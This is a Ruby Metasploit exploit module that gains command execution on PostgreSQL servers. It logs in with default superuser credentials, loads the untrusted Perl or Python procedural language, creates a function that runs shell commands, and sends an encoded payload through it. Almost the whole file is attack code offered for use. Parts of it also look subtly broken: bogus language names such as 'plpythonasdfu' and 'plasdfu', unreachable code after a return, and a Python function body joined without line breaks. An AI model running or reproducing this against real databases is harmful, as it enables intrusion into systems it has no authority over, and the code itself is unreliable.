##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit4 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Postgres
	include Msf::Auxiliary::Report

	# Creates an instance of this module.

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
			'Description' => %q{
				Some installations of Postgres are configured to allow loading external
 scripting languages.
				Most commonly this is Perl and
 Python. When enabled, command execution is possible
 on the host.
				To execute system commands, loading the "untrusted" version of the language is necessary.
				This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
				and has been tested on OS X, Windows, and Linux.

				This module attempts to load Perl or Python to execute system
 commands. As this dynamically loads
				a scripting language to execute commands,
 it is not necessary to drop a file on the filesystem.

			},
			'Author' => [
				'Micheal Cottingham', # author of this module
				'midnitesnake', # the postgres_payload module that this is based on
			],
			'License' => MSF_LICENSE,
			'References' => [
				['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
				['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
				['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
			],
			'Platform' => %w{python linux unix win osx},
			'Payload' => {
				'PayloadType' => %w{python cmd}
			},
			'Arch' => [ARCH_CMD, ARCH_PYTHON],
			'Targets' => [
				['Automatic', {}]
			],
			'DefaultTarget' => 0,
			'DisclosureDate' => ''
		))

		register_options([
			OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
			OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
		], self.class)

		deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
	end

	def check
		version = postgres_fingerprint

		if version[:auth]
			return CheckCode::Appears

		else
			print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
			return CheckCode::Safe
		end
	end

	def exploit
		version = do_login(username, password, database)

		case version
			when :noauth; print_error 'Authentication failed.'; return
			when :noconn; print_error 'Connection failed.'; return

			else
				print_status("#{rhost}:#{rport} - #{version}")
		end

		begin
			func_name = Rex::Text.rand_text_alpha(10)

			load_perl = create_perl

			# Decision tree - not clean, but it works.
			# If you have suggestions for improvement, please contact me on Github - @micheal
			case load_perl
				when 'exists'
					print_status 'Perl is already loaded, continuing'
					createPerlFunc(func_name)

				when 'loaded'
					print_status 'Perl was successfully loaded, continuing'
					createPerlFunc(func_name)

				when 'not_exists'
					print_status 'Perl is not installed on the target, attempting Python2'

					load_python2, ver = create_python2

					case load_python2
						when 'exists'
							print_status 'Python2 is already loaded, continuing'
							create_python_func(func_name, '')

						when 'loaded'
							print_status 'Python2 was successfully loaded, continuing'
							create_python_func(func_name, '')

						when 'not_exists'
							print_status 'Python2 is not installed on the target, attempting Python3'

							load_python3 = create_python3

							case load_python3
								when 'exists'
									print_status 'Python3 is already loaded, continuing'
									create_python_func(func_name, '3')

								when 'loaded'
									print_status 'Python3 was successfully loaded, continuing'
									create_python_func(func_name, '3')

								when 'not_exists'
									print_error 'No suitable exploit path found, exiting'
									return
							end
					end
			end


			selectQuery = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")

			case selectQuery.keys[0]
				when :conn_error
					print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."

				when :sql_error
					print_error "#{rhost}:#{rport} Postgres - #{selectQuery[:sql_error]}"

				when :complete
					vprint_good "#{rhost}:#{rport} Postgres - Command complete."
			end

			rescue RuntimeError => e
				print_error "Failed to create UDF: #{e.class}: #{e}"
		end

		postgres_logout if @postgres_conn
	end

	def create_python2
		create = postgres_query("CREATE LANGUAGE plpythonasdfu")

		if(create.keys[0] == :sql_error)
			matchExists = create[:sql_error].match(/language "plpythonu" already exists/m)

			if(matchExists)
				return 'exists', ''

			else
				#matchError = create[:sql_error].match(/could not access file/m)
				matchError = create[:sql_error].match(/unsupported language/m)

				if(matchError)
					# One more attempt
					create2 = postgres_query("CREATE LANGUAGE plpythonu")

					matchError2 = create2[:sql_error].match(/could not access file/m)

					if(matchError2)
						return 'not_exists'

					else
						return 'loaded', '2'
					end
				end
			end

		else
			return 'loaded', ''
		end
	end

	def create_python3
		create = postgres_query("CREATE LANGUAGE plpython3u")

		if(create.keys[0] == :sql_error)
			matchExists = create[:sql_error].match(/language "plpython3u" already exists/m)

			if(matchExists)
				return 'exists'

			else
				matchError = create[:sql_error].match(/could not access file/m)

				if(matchError)
					return 'not_exists'
				end
			end

		else
			return 'loaded'
		end
	end

	def create_python_func(name, version)
		create_python_function = postgres_query(
				"CREATE OR REPLACE FUNCTION exec_#{name}(c text) RETURNS void as $$" +
				"import subprocess, shlex" +
				"return subprocess.check_output(shlex.split(c))" +
				"$$ LANGUAGE plpython#{version}u")

		case create_python_function.keys[0]
			when :conn_error
				print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."

			when :sql_error
				print_error "#{rhost}:#{rport} Postgres - #{create_python_function[:sql_error]}"

			when :complete
				print_good "#{rhost}:#{rport} Postgres - Command complete."
		end
	end

	def create_perl
		create = postgres_query("CREATE LANGUAGE plasdfu", 50)

		if(create.keys[0] == :sql_error)
			matchExists = create[:sql_error].match(/language "plperlu" already exists/m)

			if(matchExists)
				return 'exists'

			else
				matchError = create[:sql_error].match(/could not access file/m)
				return 'not_exists'

				if(matchError)
					return 'not_exists'
				end
			end

		else
			return 'loaded'
		end
	end

	def createPerlFunc(name)
		createPerlFunction = postgres_query(
				"CREATE OR REPLACE FUNCTION exec_#{name}(text) RETURNS TEXT as $$" +
						"return `$_[0]`;" +
						"$$ LANGUAGE plperlu")

		case createPerlFunction.keys[0]
			when :conn_error
				print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."

			when :sql_error
				print_error "#{rhost}:#{rport} Postgres - #{createPerlFunction[:sql_error]}"

			when :complete
				print_good "#{rhost}:#{rport} Postgres - Command complete."
		end
	end

	# Authenticate to the postgres server.

	# Returns the version from #postgres_fingerprint
	def do_login(user=nil, pass=nil, database=nil)
		begin
			password = pass || postgres_password

			vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")

			result = postgres_fingerprint(
					:db => database,
					:username => user,
					:password => password
			)

			if result[:auth]
				report_service(
						:host => rhost,
						:port => rport,
						:name => "postgres",
						:info => result.values.first
				)
				return result[:auth]

			else
				print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
				return :noauth
			end

		rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
			return :noconn
		end
	end
end